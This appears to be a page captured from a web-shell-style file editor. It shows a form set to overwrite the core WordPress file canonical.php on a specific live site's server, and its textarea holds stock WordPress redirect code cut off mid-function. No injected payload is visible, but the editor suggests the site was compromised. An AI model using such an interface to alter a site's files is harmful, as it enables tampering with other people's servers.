<h2>Edit File - canonical.php</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/home/u548619843/domains/almayyad.com/public_html/wp-includes/canonical.php">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&lt;?php
/**
 * Canonical API to handle WordPress Redirecting
 *
 * Based on &quot;Permalink Redirect&quot; from Scott Yang and &quot;Enforce www. Preference&quot;
 * by Mark Jaquith
 *
 * @package WordPress
 * @since 2.3.0
 */

/**
 * Redirects incoming links to the proper URL based on the site url.
 *
 * Search engines consider www.somedomain.com and somedomain.com to be two
 * different URLs when they both go to the same location. This SEO enhancement
 * prevents penalty for duplicate content by redirecting all incoming links to
 * one or the other.
 *
 * Prevents redirection for feeds, trackbacks, searches, and
 * admin URLs. Does not redirect on non-pretty-permalink-supporting IIS 7+,
 * page/post previews, WP admin, Trackbacks, robots.txt, favicon.ico, searches,
 * or on POST requests.
 *
 * Will also attempt to find the correct link when a user enters a URL that does
 * not exist based on exact WordPress query. Will instead try to parse the URL
 * or query in an attempt to figure the correct page to go to.
 *
 * @since 2.3.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 * @global bool       $is_IIS
 * @global WP_Query   $wp_query   WordPress Query object.
 * @global wpdb       $wpdb       WordPress database abstraction object.
 * @global WP         $wp         Current WordPress environment instance.
 *
 * @param string $requested_url Optional. The URL that was requested, used to
 *                              figure if redirect is needed.
 * @param bool   $do_redirect   Optional. Redirect to the new URL.
 * @return string|void The string of the URL, if redirect needed.
 */
function redirect_canonical( $requested_url = null, $do_redirect = true ) {
	global $wp_rewrite, $is_IIS, $wp_query, $wpdb, $wp;

	if ( isset( $_SERVER[&#039;REQUEST_METHOD&#039;] ) &amp;&amp; ! in_array( strtoupper( $_SERVER[&#039;REQUEST_METHOD&#039;] ), array( &#039;GET&#039;, &#039;HEAD&#039; ), true ) ) {
		return;
	}

	/*
	 * If we&#039;re not in wp-admin and the post has been published and preview nonce
	 * is non-existent or invalid then no need for preview in query.
	 */
	if ( is_preview() &amp;&amp; get_query_var( &#039;p&#039; ) &amp;&amp; &#039;publish&#039; === get_post_status( get_query_var( &#039;p&#039; ) ) ) {
		if ( ! isset( $_GET[&#039;preview_id&#039;] )
			|| ! isset( $_GET[&#039;preview_nonce&#039;] )
			|| ! wp_verify_nonce( $_GET[&#039;preview_nonce&#039;], &#039;post_preview_&#039; . (int) $_GET[&#039;preview_id&#039;] )
		) {
			$wp_query-&gt;is_preview = false;
		}
	}

	if ( is_admin() || is_search() || is_preview() || is_trackback() || is_favicon()
		|| ( $is_IIS &amp;&amp; ! iis7_supports_permalinks() )
	) {
		return;
	}

	if ( ! $requested_url &amp;&amp; isset( $_SERVER[&#039;HTTP_HOST&#039;] ) ) {
		// Build the URL in the address bar.
		$requested_url  = is_ssl() ? &#039;https://&#039; : &#039;http://&#039;;
		$requested_url .= $_SERVER[&#039;HTTP_HOST&#039;];
		$requested_url .= $_SERVER[&#039;REQUEST_URI&#039;];
	}

	$original = parse_url( $requested_url );
	if ( false === $original ) {
		return;
	}

	$redirect     = $original;
	$redirect_url = false;
	$redirect_obj = false;

	// Notice fixing.
	if ( ! isset( $redirect[&#039;path&#039;] ) ) {
		$redirect[&#039;path&#039;] = &#039;&#039;;
	}
	if ( ! isset( $redirect[&#039;query&#039;] ) ) {
		$redirect[&#039;query&#039;] = &#039;&#039;;
	}

	/*
	 * If the original URL ended with non-breaking spaces, they were almost
	 * certainly inserted by accident. Let&#039;s remove them, so the reader doesn&#039;t
	 * see a 404 error with no obvious cause.
	 */
	$redirect[&#039;path&#039;] = preg_replace( &#039;|(%C2%A0)+$|i&#039;, &#039;&#039;, $redirect[&#039;path&#039;] );

	// It&#039;s not a preview, so remove it from URL.
	if ( get_query_var( &#039;preview&#039; ) ) {
		$redirect[&#039;query&#039;] = remove_query_arg( &#039;preview&#039;, $redirect[&#039;query&#039;] );
	}

	$post_id = get_query_var( &#039;p&#039; );

	if ( is_feed() &amp;&amp; $post_id ) {
		$redirect_url = get_post_comments_feed_link( $post_id, get_query_var( &#039;feed&#039; ) );
		$redirect_obj = get_post( $post_id );

		if ( $redirect_url ) {
			$redirect[&#039;query&#039;] = _remove_qs_args_if_not_in_url(
				$redirect[&#039;query&#039;],
				array( &#039;p&#039;, &#039;page_id&#039;, &#039;attachment_id&#039;, &#039;pagename&#039;, &#039;name&#039;, &#039;post_type&#039;, &#039;feed&#039; ),
				$redirect_url
			);

			$redirect[&#039;path&#039;] = parse_url( $redirect_url, PHP_URL_PATH );
		}
	}

	if ( is_singular() &amp;&amp; $wp_query-&gt;post_count &lt; 1 &amp;&amp; $post_id ) {

		$vars = $wpdb-&gt;get_results( $wpdb-&gt;prepare( &quot;SELECT post_type, post_parent FROM $wpdb-&gt;posts WHERE ID = %d&quot;, $post_id ) );

		if ( ! empty( $vars[0] ) ) {
			$vars = $vars[0];

			if ( &#039;revision&#039; === $vars-&gt;post_type &amp;&amp; $vars-&gt;post_parent &gt; 0 ) {
				$post_id = $vars-&gt;post_parent;
			}

			$redirect_url = get_permalink( $post_id );
			$redirect_obj = get_post( $post_id );

			if ( $redirect_url ) {
				$redirect[&#039;query&#039;] = _remove_qs_args_if_not_in_url(
					$redirect[&#039;query&#039;],
					array( &#039;p&#039;, &#039;page_id&#039;, &#039;attachment_id&#039;, &#039;pagename&#039;, &#039;name&#039;, &#039;post_type&#039; ),
					$redirect_url
				);
			}
		}
	}

	// These tests give us a WP-generated permalink.
	if ( is_404() ) {

		// Redirect ?page_id, ?p=, ?attachment_id= to their respective URLs.
		$post_id = max( get_query_var( &#039;p&#039; ), get_query_var( &#039;page_id&#039; ), get_query_var( &#039;attachment_id&#039; ) );

		$redirect_post = $post_id ? get_post( $post_id ) : false;

		if ( $redirect_post ) {
			$post_type_obj = get_post_type_object( $redirect_post-&gt;post_type );

			if ( $post_type_obj &amp;&amp; $post_type_obj-&gt;public &amp;&amp; &#039;auto-draft&#039; !== $redirect_post-&gt;post_status ) {
				$redirect_url = get_permalink( $redirect_post );
				$redirect_obj = get_post( $redirect_post );

				$redirect[&#039;query&#039;] = _remove_qs_args_if_not_in_url(
					$redirect[&#039;query&#039;],
					array( &#039;p&#039;, &#039;page_id&#039;, &#039;attachment_id&#039;, &#039;pagename&#039;, &#039;name&#039;, &#039;post_type&#039; ),
					$redirect_url
				);
			}
		}

		$year  = get_query_var( &#039;year&#039; );
		$month = get_query_var( &#039;monthnum&#039; );
		$day   = get_query_var( &#039;day&#039; );

		if ( $year &amp;&amp; $month &amp;&amp; $day ) {
			$date = sprintf( &#039;%04d-%02d-%02d&#039;, $year, $month, $day );

			if ( ! wp_checkdate( $month, $day, $year, $date ) ) {
				$redirect_url = get_month_link( $year, $month );

				$redirect[&#039;query&#039;] = _remove_qs_args_if_not_in_url(
					$redirect[&#039;query&#039;],
					array( &#039;year&#039;, &#039;monthnum&#039;, &#039;day&#039; ),
					$redirect_url
				);
			}
		} elseif ( $year &amp;&amp; $month &amp;&amp; $month &gt; 12 ) {
			$redirect_url = get_year_link( $year );

			$redirect[&#039;query&#039;] = _remove_qs_args_if_not_in_url(
				$redirect[&#039;query&#039;],
				array( &#039;year&#039;, &#039;monthnum&#039; ),
				$redirect_url
			);
		}

		// Strip off non-existing &lt;!--nextpage--&gt; links from single posts or pages.
		if ( get_query_var( &#039;page&#039; ) ) {
			$post_id = 0;

			if ( $wp_query-&gt;queried_object instanceof WP_Post ) {
				$post_id = $wp_query-&gt;queried_object-&gt;ID;
			} elseif ( $wp_query-&gt;post ) {
				$post_id = $wp_query-&gt;post-&gt;ID;
			}

			if ( $post_id ) {
				$redirect_url = get_permalink( $post_id );
				$redirect_obj = get_post( $post_id );

				$redirect[&#039;path&#039;]  = rtrim( $redirect[&#039;path&#039;], (int) get_query_var( &#039;page&#039; ) . &#039;/&#039; );
				$redirect[&#039;query&#039;] = remove_query_arg( &#039;page&#039;, $redirect[&#039;query&#039;] );
			}
		}

		if ( ! $redirect_url ) {
			$redirect_url = redirect_guess_404_permalink();

			if ( $redirect_url ) {
				$redirect[&#039;query&#039;] = _remove_qs_args_if_not_in_url(
					$redirect[&#039;query&#039;],
					array( &#039;page&#039;, &#039;feed&#039;, &#039;p&#039;, &#039;page_id&#039;, &#039;attachment_id&#039;, &#039;pagename&#039;, &#039;name&#039;, &#039;post_type&#039; ),
					$redirect_url
				);
			}
		}
	} elseif ( is_object( $wp_rewrite ) &amp;&amp; $wp_rewrite-&gt;using_permalinks() ) {

		// Rewriting of old ?p=X, ?m=2004, ?m=200401, ?m=20040101.
		if ( is_attachment()
			&amp;&amp; ! array_diff( array_keys( $wp-&gt;query_vars ), array( &#039;attachment&#039;, &#039;attachment_id&#039; ) )
			&amp;&amp; ! $redirect_url
		) {
			if ( ! empty( $_GET[&#039;attachment_id&#039;] ) ) {
				$redirect_url = get_attachment_link( get_query_var( &#039;attachment_id&#039; ) );
				$redirect_obj = get_post( get_query_var( &#039;attachment_id&#039; ) );

				if ( $redirect_url ) {
					$redirect[&#039;query&#039;] = remove_query_arg( &#039;attachment_id&#039;, $redirect[&#039;query&#039;] );
				}
			} else {
				$redirect_url = get_attachment_link();
				$redirect_obj = get_post();
			}
		} elseif ( is_single() &amp;&amp; ! empty( $_GET[&#039;p&#039;] ) &amp;&amp; ! $redirect_url ) {
			$redirect_url = get_permalink( get_query_var( &#039;p&#039; ) );
			$redirect_obj = get_post( get_query_var( &#039;p&#039; ) );

			if ( $redirect_url ) {
				$redirect[&#039;query&#039;] = remove_query_arg( array( &#039;p&#039;, &#039;post_type&#039; ), $redirect[&#039;query&#039;] );
			}
		} elseif ( is_single() &amp;&amp; ! empty( $_GET[&#039;name&#039;] ) &amp;&amp; ! $redirect_url ) {
			$redirect_url = get_permalink( $wp_query-&gt;get_queried_object_id() );
			$redirect_obj = get_post( $wp_query-&gt;get_queried_object_id() );

			if ( $redirect_url ) {
				$redirect[&#039;query&#039;] = remove_query_arg( &#039;name&#039;, $redirect[&#039;query&#039;] );
			}
		} elseif ( is_page() &amp;&amp; ! empty( $_GET[&#039;page_id&#039;] ) &amp;&amp; ! $redirect_url ) {
			$redirect_url = get_permalink( get_query_var( &#039;page_id&#039; ) );
			$redirect_obj = get_post( get_query_var( &#039;page_id&#039; ) );

			if ( $redirect_url ) {
				$redirect[&#039;query&#039;] = remove_query_arg( &#039;page_id&#039;, $redirect[&#039;query&#039;] );
			}
		} elseif ( is_page() &amp;&amp; ! is_feed() &amp;&amp; ! $redirect_url
			&amp;&amp; &#039;page&#039; === get_option( &#039;show_on_front&#039; ) &amp;&amp; get_queried_object_id() === (int) get_option( &#039;page_on_front&#039; )
		) {
			$redirect_url = home_url( &#039;/&#039; );
		} elseif ( is_home() &amp;&amp; ! empty( $_GET[&#039;page_id&#039;] ) &amp;&amp; ! $redirect_url
			&amp;&amp; &#039;page&#039; === get_option( &#039;show_on_front&#039; ) &amp;&amp; get_query_var( &#039;page_id&#039; ) === (int) get_option( &#039;page_for_posts&#039; )
		) {
			$redirect_url = get_permalink( get_option( &#039;page_for_posts&#039; ) );
			$redirect_obj = get_post( get_option( &#039;page_for_posts&#039; ) );

			if ( $redirect_url ) {
				$redirect[&#039;query&#039;] = remove_query_arg( &#039;page_id&#039;, $redirect[&#039;query&#039;] );
			}
		} elseif ( ! empty( $_GET[&#039;m&#039;] ) &amp;&amp; ( is_year() || is_month() || is_day() ) ) {
			$m = get_query_var( &#039;m&#039; );

			switch ( strlen( $m ) ) {
				case 4: // Yearly.
					$redirect_url = get_year_link( $m );
					break;
				case 6: // Monthly.
					$redirect_url = get_month_link( substr( $m, 0, 4 ), substr( $m, 4, 2 ) );
					break;
				case 8: // Daily.
					$redirect_url = get_day_link( substr( $m, 0, 4 ), substr( $m, 4, 2 ), substr( $m, 6, 2 ) );
					break;
			}

			if ( $redirect_url ) {
				$redirect[&#039;query&#039;] = remove_query_arg( &#039;m&#039;, $redirect[&#039;query&#039;] );
			}
			// Now moving on to non ?m=X year/month/day links.
		} elseif ( is_date() ) {
			$year  = get_query_var( &#039;year&#039; );
			$month = get_query_var( &#039;monthnum&#039; );
			$day   = get_query_var( &#039;day&#039; );

			if ( is_day() &amp;&amp; $year &amp;&amp; $month &amp;&amp; ! empty( $_GET[&#039;day&#039;] ) ) {
				$redirect_url = get_day_link( $year, $month, $day );

				if ( $redirect_url ) {
					$redirect[&#039;query&#039;] = remove_query_arg( array( &#039;year&#039;, &#039;monthnum&#039;, &#039;day&#039; ), $redirect[&#039;query&#039;] );
				}
			} elseif ( is_month() &amp;&amp; $year &amp;&amp; ! empty( $_GET[&#039;monthnum&#039;] ) ) {
				$redirect_url = get_month_link( $year, $month );

				if ( $redirect_url ) {
					$redirect[&#039;query&#039;] = remove_query_arg( array( &#039;year&#039;, &#039;monthnum&#039; ), $redirect[&#039;query&#039;] );
				}
			} elseif ( is_year() &amp;&amp; ! empty( $_GET[&#039;year&#039;] ) ) {
				$redirect_url = get_year_link( $year );

				if ( $redirect_url ) {
					$redirect[&#039;query&#039;] = remove_query_arg( &#039;year&#039;, $redirect[&#039;query&#039;] );
				}
			}
		} elseif ( is_author() &amp;&amp; ! empty( $_GET[&#039;author&#039;] )
			&amp;&amp; is_string( $_GET[&#039;author&#039;] ) &amp;&amp; preg_match( &#039;|^[0-9]+$|&#039;, $_GET[&#039;author&#039;] )
		) {
			$author = get_userdata( get_query_var( &#039;author&#039; ) );

			if ( false !== $author
				&amp;&amp; $wpdb-&gt;get_var( $wpdb-&gt;prepare( &quot;SELECT ID FROM $wpdb-&gt;posts WHERE $wpdb-&gt;posts.post_author = %d AND $wpdb-&gt;posts.post_status = &#039;publish&#039; LIMIT 1&quot;, $author-&gt;ID ) )
			) {
				$redirect_url = get_author_posts_url( $author-&gt;ID, $author-&gt;user_nicename );
				$redirect_obj = $author;

				if ( $redirect_url ) {
					$redirect[&#039;query&#039;] = remove_query_arg( &#039;author&#039;, $redirect[&#039;query&#039;] );
				}
			}
		} elseif ( is_category() || is_tag() || is_tax() ) { // Terms (tags/categories).
			$term_count = 0;

			foreach ( $wp_query-&gt;tax_query-&gt;queried_terms as $tax_query ) {
				if ( isset( $tax_query[&#039;terms&#039;] ) &amp;&amp; is_countable( $tax_query[&#039;terms&#039;] ) ) {
					$term_count += count( $tax_query[&#039;terms&#039;] );
				}
			}

			$obj = $wp_query-&gt;get_queried_object();

			if ( $term_count &lt;= 1 &amp;&amp; ! empty( $obj-&gt;term_id ) ) {
				$tax_url = get_term_link( (int) $obj-&gt;term_id, $obj-&gt;taxonomy );

				if ( $tax_url &amp;&amp; ! is_wp_error( $tax_url ) ) {
					if ( ! empty( $redirect[&#039;query&#039;] ) ) {
						// Strip taxonomy query vars off the URL.
						$qv_remove = array( &#039;term&#039;, &#039;taxonomy&#039; );

						if ( is_category() ) {
							$qv_remove[] = &#039;category_name&#039;;
							$qv_remove[] = &#039;cat&#039;;
						} elseif ( is_tag() ) {
							$qv_remove[] = &#039;tag&#039;;
							$qv_remove[] = &#039;tag_id&#039;;
						} else {
							// Custom taxonomies will have a custom query var, remove those too.
							$tax_obj = get_taxonomy( $obj-&gt;taxonomy );
							if ( false !== $tax_obj-&gt;query_var ) {
								$qv_remove[] = $tax_obj-&gt;query_var;
							}
						}

						$rewrite_vars = array_diff( array_keys( $wp_query-&gt;query ), array_keys( $_GET ) );

						// Check to see if all the query vars are coming from the rewrite, none are set via $_GET.
						if ( ! array_diff( $rewrite_vars, array_keys( $_GET ) ) ) {
							// Remove all of the per-tax query vars.
							$redirect[&#039;query&#039;] = remove_query_arg( $qv_remove, $redirect[&#039;query&#039;] );

							// Create the destination URL for this taxonomy.
							$tax_url = parse_url( $tax_url );

							if ( ! empty( $tax_url[&#039;query&#039;] ) ) {
								// Taxonomy accessible via ?taxonomy=...&amp;term=... or any custom query var.
								parse_str( $tax_url[&#039;query&#039;], $query_vars );
								$redirect[&#039;query&#039;] = add_query_arg( $query_vars, $redirect[&#039;query&#039;] );
							} else {
								// Taxonomy is accessible via a &quot;pretty URL&quot;.
								$redirect[&#039;path&#039;] = $tax_url[&#039;path&#039;];
							}
						} else {
							// Some query vars are set via $_GET. Unset those from $_GET that exist via the rewrite.
							foreach ( $qv_remove as $_qv ) {
								if ( isset( $rewrite_vars[ $_qv ] ) ) {
									$redirect[&#039;query&#039;] = remove_query_arg( $_qv, $redirect[&#039;query&#039;] );
								}
							}
						}
					}
				}
			}
		} elseif ( is_single() &amp;&amp; str_contains( $wp_rewrite-&gt;permalink_structure, &#039;%category%&#039; ) ) {
			$category_name = get_query_var( &#039;category_name&#039; );

			if ( $category_name ) {
				$category = get_category_by_path( $category_name );

				if ( ! $category || is_wp_error( $category )
					|| ! has_term( $category-&gt;term_id, &#039;category&#039;, $wp_query-&gt;get_queried_object_id() )
				) {
					$redirect_url = get_permalink( $wp_query-&gt;get_queried_object_id() );
					$redirect_obj = get_post( $wp_query-&gt;get_queried_object_id() );
				}
			}
		}

		// Post paging.
		if ( is_singular() &amp;&amp; get_query_var( &#039;page&#039; ) ) {
			$page = get_query_var( &#039;page&#039; );

			if ( ! $redirect_url ) {
				$redirect_url = get_permalink( get_queried_object_id() );
				$redirect_obj = get_post( get_queried_object_id() );
			}

			if ( $page &gt; 1 ) {
				$redirect_url = trailingslashit( $redirect_url );

				if ( is_front_page() ) {
					$redirect_url .= user_trailingslashit( &quot;$wp_rewrite-&gt;pagination_base/$page&quot;, &#039;paged&#039; );
				} else {
					$redirect_url .= user_trailingslashit( $page, &#039;single_paged&#039; );
				}
			}

			$redirect[&#039;query&#039;] = remove_query_arg( &#039;page&#039;, $redirect[&#039;query&#039;] );
		}

		if ( get_query_var( &#039;sitemap&#039; ) ) {
			$redirect_url      = get_sitemap_url( get_query_var( &#039;sitemap&#039; ), get_query_var( &#039;sitemap-subtype&#039; ), get_query_var( &#039;paged&#039; ) );
			$redirect[&#039;query&#039;] = remove_query_arg( array( &#039;sitemap&#039;, &#039;sitemap-subtype&#039;, &#039;paged&#039; ), $redirect[&#039;query&#039;] );
		} elseif ( get_query_var( &#039;paged&#039; ) || is_feed() || get_query_var( &#039;cpage&#039; ) ) {
			// Paging and feeds.
			$paged = get_query_var( &#039;paged&#039; );
			$feed  = get_query_var( &#039;feed&#039; );
			$cpage = get_query_var( &#039;cpage&#039; );

			while ( preg_match( &quot;#/$wp_rewrite-&gt;pagination_base/?[0-9]+?(/+)?$#&quot;, $redirect[&#039;path&#039;] )
				|| preg_match( &#039;#/(comments/?)?(feed|rss2?|rdf|atom)(/+)?$#&#039;, $redirect[&#039;path&#039;] )
				|| preg_match( &quot;#/{$wp_rewrite-&gt;comments_pagination_base}-[0-9]+(/+)?$#&quot;, $redirect[&#039;path&#039;] )
			) {
				// Strip off any existing paging.
				$redirect[&#039;path&#039;] = preg_replace( &quot;#/$wp_rewrite-&gt;pagination_base/?[0-9]+?(/+)?$#&quot;, &#039;/&#039;, $redirect[&#039;path&#039;] );
				// Strip off feed endings.
				$redirect[&#039;path&#039;] = preg_replace( &#039;#/(comments/?)?(feed|rss2?|rdf|atom)(/+|$)#&#039;, &#039;/&#039;, $redirect[&#039;path&#039;] );
				// Strip off any existing comment paging.
				$redirect[&#039;path&#039;] = preg_replace( &quot;#/{$wp_rewrite-&gt;comments_pagination_base}-[0-9]+?(/+)?$#&quot;, &#039;/&#039;, $redirect[&#039;path&#039;] );
			}

			$addl_path    = &#039;&#039;;
			$default_feed = get_default_feed();

			if ( is_feed() &amp;&amp; in_array( $feed, $wp_rewrite-&gt;feeds, true ) ) {
				$addl_path = ! empty( $addl_path ) ? trailingslashit( $addl_path ) : &#039;&#039;;

				if ( ! is_singular() &amp;&amp; get_query_var( &#039;withcomments&#039; ) ) {
					$addl_path .= &#039;comments/&#039;;
				}

				if ( ( &#039;rss&#039; === $default_feed &amp;&amp; &#039;feed&#039; === $feed ) || &#039;rss&#039; === $feed ) {
					$format = ( &#039;rss2&#039; === $default_feed ) ? &#039;&#039; : &#039;rss2&#039;;
				} else {
					$format = ( $default_feed === $feed || &#039;feed&#039; === $feed ) ? &#039;&#039; : $feed;
				}

				$addl_path .= user_trailingslashit( &#039;feed/&#039; . $format, &#039;feed&#039; );

				$redirect[&#039;query&#039;] = remove_query_arg( &#039;feed&#039;, $redirect[&#039;query&#039;] );
			} elseif ( is_feed() &amp;&amp; &#039;old&#039; === $feed ) {
				$old_feed_files = array(
					&#039;wp-atom.php&#039;         =&gt; &#039;atom&#039;,
					&#039;wp-commentsrss2.php&#039; =&gt; &#039;comments_rss2&#039;,
					&#039;wp-feed.php&#039;         =&gt; $default_feed,
					&#039;wp-rdf.php&#039;          =&gt; &#039;rdf&#039;,
					&#039;wp-rss.php&#039;          =&gt; &#039;rss2&#039;,
					&#039;wp-rss2.php&#039;         =&gt; &#039;rss2&#039;,
				);

				if ( isset( $old_feed_files[ basename( $redirect[&#039;path&#039;] ) ] ) ) {
					$redirect_url = get_feed_link( $old_feed_files[ basename( $redirect[&#039;path&#039;] ) ] );

					wp_redirect( $redirect_url, 301 );
					die();
				}
			}

			if ( $paged &gt; 0 ) {
				$redirect[&#039;query&#039;] = remove_query_arg( &#039;paged&#039;, $redirect[&#039;query&#039;] );

				if ( ! is_feed() ) {
					if ( ! is_single() ) {
						$addl_path = ! empty( $addl_path ) ? trailingslashit( $addl_path ) : &#039;&#039;;

						if ( $paged &gt; 1 ) {
							$addl_path .= user_trailingslashit( &quot;$wp_rewrite-&gt;pagination_base/$paged&quot;, &#039;paged&#039; );
						}
					}
				} elseif ( $paged &gt; 1 ) {
					$redirect[&#039;query&#039;] = add_query_arg( &#039;paged&#039;, $paged, $redirect[&#039;query&#039;] );
				}
			}

			$default_comments_page = get_option( &#039;default_comments_page&#039; );

			if ( get_option( &#039;page_comments&#039; )
				&amp;&amp; ( &#039;newest&#039; === $default_comments_page &amp;&amp; $cpage &gt; 0
					|| &#039;newest&#039; !== $default_comments_page &amp;&amp; $cpage &gt; 1 )
			) {
				$addl_path  = ( ! empty( $addl_path ) ? trailingslashit( $addl_path ) : &#039;&#039; );
				$addl_path .= user_trailingslashit( $wp_rewrite-&gt;comments_pagination_base . &#039;-&#039; . $cpage, &#039;commentpaged&#039; );

				$redirect[&#039;query&#039;] = remove_query_arg( &#039;cpage&#039;, $redirect[&#039;query&#039;] );
			}

			// Strip off trailing /index.php/.
			$redirect[&#039;path&#039;] = preg_replace( &#039;|/&#039; . preg_quote( $wp_rewrite-&gt;index, &#039;|&#039; ) . &#039;/?$|&#039;, &#039;/&#039;, $redirect[&#039;path&#039;] );
			$redirect[&#039;path&#039;] = user_trailingslashit( $redirect[&#039;path&#039;] );

			if ( ! empty( $addl_path )
				&amp;&amp; $wp_rewrite-&gt;using_index_permalinks()
				&amp;&amp; ! str_contains( $redirect[&#039;path&#039;], &#039;/&#039; . $wp_rewrite-&gt;index . &#039;/&#039; )
			) {
				$redirect[&#039;path&#039;] = trailingslashit( $redirect[&#039;path&#039;] ) . $wp_rewrite-&gt;index . &#039;/&#039;;
			}

			if ( ! empty( $addl_path ) ) {
				$redirect[&#039;path&#039;] = trailingslashit( $redirect[&#039;path&#039;] ) . $addl_path;
			}

			$redirect_url = $redirect[&#039;scheme&#039;] . &#039;://&#039; . $redirect[&#039;host&#039;] . $redirect[&#039;path&#039;];
		}

		if ( &#039;wp-register.php&#039; === basename( $redirect[&#039;path&#039;] ) ) {
			if ( is_multisite() ) {
				/** This filter is documented in wp-login.php */
				$redirect_url = apply_filters( &#039;wp_signup_location&#039;, network_site_url( &#039;wp-signup.php&#039; ) );
			} else {
				$redirect_url = wp_registration_url();
			}

			wp_redirect( $redirect_url, 301 );
			die();
		}
	}

	$is_attachment_redirect = false;

	if ( is_attachment() &amp;&amp; ! get_option( &#039;wp_attachment_pages_enabled&#039; ) ) {
		$attachment_id        = get_query_var( &#039;attachment_id&#039; );
		$attachment_post      = get_post( $attachment_id );
		$attachment_parent_id = $attachment_post ? $attachment_post-&gt;post_parent : 0;

		$attachment_url = wp_get_attachment_url( $attachment_id );
		if ( $attachment_url !== $redirect_url ) {
			/*
			* If an attachment is attached to a post, it inherits the parent post&#039;s status. Fetch the
			* parent post to check its status later.
			*/
			if ( $attachment_parent_id ) {
				$redirect_obj = get_post( $attachment_parent_id );
			}
			$redirect_url = $attachment_url;
		}

		$is_attachment_redirect = true;
	}

	$redirect[&#039;query&#039;] = preg_replace( &#039;#^\??&amp;*?#&#039;, &#039;&#039;, $redirect[&#039;query&#039;] );

	// Tack on any additional query vars.
	if ( $redirect_url &amp;&amp; ! empty( $redirect[&#039;query&#039;] ) ) {
		parse_str( $redirect[&#039;query&#039;], $_parsed_query );
		$redirect = parse_url( $redirect_url );

		if ( ! empty( $_parsed_query[&#039;name&#039;] ) &amp;&amp; ! empty( $redirect[&#039;query&#039;] ) ) {
			parse_str( $redirect[&#039;query&#039;], $_parsed_redirect_query );

			if ( empty( $_parsed_redirect_query[&#039;name&#039;] ) ) {
				unset( $_parsed_query[&#039;name&#039;] );
			}
		}

		$_parsed_query = array_combine(
			rawurlencode_deep( array_keys( $_parsed_query ) ),
			rawurlencode_deep( array_values( $_parsed_query ) )
		);

		$redirect_url = add_query_arg( $_parsed_query, $redirect_url );
	}

	if ( $redirect_url ) {
		$redirect = parse_url( $redirect_url );
	}

	// www.example.com vs. example.com
	$user_home = parse_url( home_url() );

	if ( ! empty( $user_home[&#039;host&#039;] ) ) {
		$redirect[&#039;host&#039;] = $user_home[&#039;host&#039;];
	}

	if ( empty( $user_home[&#039;path&#039;] ) ) {
		$user_home[&#039;path&#039;] = &#039;/&#039;;
	}

	// Handle ports.
	if ( ! empty( $user_home[&#039;port&#039;] ) ) {
		$redirect[&#039;port&#039;] = $user_home[&#039;port&#039;];
	} else {
		unset( $redirect[&#039;port&#039;] );
	}

	// Trailing /index.php.
	$redirect[&#039;path&#039;] = preg_replace( &#039;|/&#039; . preg_quote( $wp_rewrite-&gt;index, &#039;|&#039; ) . &#039;/*?$|&#039;, &#039;/&#039;, $redirect[&#039;path&#039;] );

	$punctuation_pattern = implode(
		&#039;|&#039;,
		array_map(
			&#039;preg_quote&#039;,
			array(
				&#039; &#039;,
				&#039;%20&#039;,  // Space.
				&#039;!&#039;,
				&#039;%21&#039;,  // Exclamation mark.
				&#039;&quot;&#039;,
				&#039;%22&#039;,  // Double quote.
				&quot;&#039;&quot;,
				&#039;%27&#039;,  // Single quote.
				&#039;(&#039;,
				&#039;%28&#039;,  // Opening bracket.
				&#039;)&#039;,
				&#039;%29&#039;,  // Closing bracket.
				&#039;,&#039;,
				&#039;%2C&#039;,  // Comma.
				&#039;.&#039;,
				&#039;%2E&#039;,  // Period.
				&#039;;&#039;,
				&#039;%3B&#039;,  // Semicolon.
				&#039;{&#039;,
				&#039;%7B&#039;,  // Opening curly bracket.
				&#039;}&#039;,
				&#039;%7D&#039;,  // Closing curly bracket.
				&#039;%E2%80%9C&#039;, // Opening curly quote.
				&#039;%E2%80%9D&#039;, // Closing curly quote.
			)
		)
	);

	// Remove trailing spaces and end punctuation from the path.
	$redirect[&#039;path&#039;] = preg_replace( &quot;#($punctuation_pattern)+$#&quot;, &#039;&#039;, $redirect[&#039;path&#039;] );

	if ( ! empty( $redirect[&#039;query&#039;] ) ) {
		// Remove trailing spaces and end punctuation from certain terminating query string args.
		$redirect[&#039;query&#039;] = preg_replace( &quot;#((^|&amp;)(p|page_id|cat|tag)=[^&amp;]*?)($punctuation_pattern)+$#&quot;, &#039;$1&#039;, $redirect[&#039;query&#039;] );

		// Clean up empty query strings.
		$redirect[&#039;query&#039;] = trim( preg_replace( &#039;#(^|&amp;)(p|page_id|cat|tag)=?(&amp;|$)#&#039;, &#039;&amp;&#039;, $redirect[&#039;query&#039;] ), &#039;&amp;&#039; );

		// Redirect obsolete feeds.
		$redirect[&#039;query&#039;] = preg_replace( &#039;#(^|&amp;)feed=rss(&amp;|$)#&#039;, &#039;$1feed=rss2$2&#039;, $redirect[&#039;query&#039;] );

		// Remove redundant leading ampersands.
		$redirect[&#039;query&#039;] = preg_replace( &#039;#^\??&amp;*?#&#039;, &#039;&#039;, $redirect[&#039;query&#039;] );
	}

	// Strip /index.php/ when we&#039;re not using PATHINFO permalinks.
	if ( ! $wp_rewrite-&gt;using_index_permalinks() ) {
		$redirect[&#039;path&#039;] = str_replace( &#039;/&#039; . $wp_rewrite-&gt;index . &#039;/&#039;, &#039;/&#039;, $redirect[&#039;path&#039;] );
	}

	// Trailing slashes.
	if ( is_object( $wp_rewrite ) &amp;&amp; $wp_rewrite-&gt;using_permalinks()
		&amp;&amp; ! $is_attachment_redirect
		&amp;&amp; ! is_404() &amp;&amp; ( ! is_front_page() || is_front_page() &amp;&amp; get_query_var( &#039;paged&#039; ) &gt; 1 )
	) {
		$user_ts_type = &#039;&#039;;

		if ( get_query_var( &#039;paged&#039; ) &gt; 0 ) {
			$user_ts_type = &#039;paged&#039;;
		} else {
			foreach ( array( &#039;single&#039;, &#039;category&#039;, &#039;page&#039;, &#039;day&#039;, &#039;month&#039;, &#039;year&#039;, &#039;home&#039; ) as $type ) {
				$func = &#039;is_&#039; . $type;
				if ( call_user_func( $func ) ) {
					$user_ts_type = $type;
					break;
				}
			}
		}

		$redirect[&#039;path&#039;] = user_trailingslashit( $redirect[&#039;path&#039;], $user_ts_type );
	} elseif ( is_front_page() ) {
		$redirect[&#039;path&#039;] = trailingslashit( $redirect[&#039;path&#039;] );
	}

	// Remove trailing slash for robots.txt or sitemap requests.
	if ( is_robots()
		|| ! empty( get_query_var( &#039;sitemap&#039; ) ) || ! empty( get_query_var( &#039;sitemap-stylesheet&#039; ) )
	) {
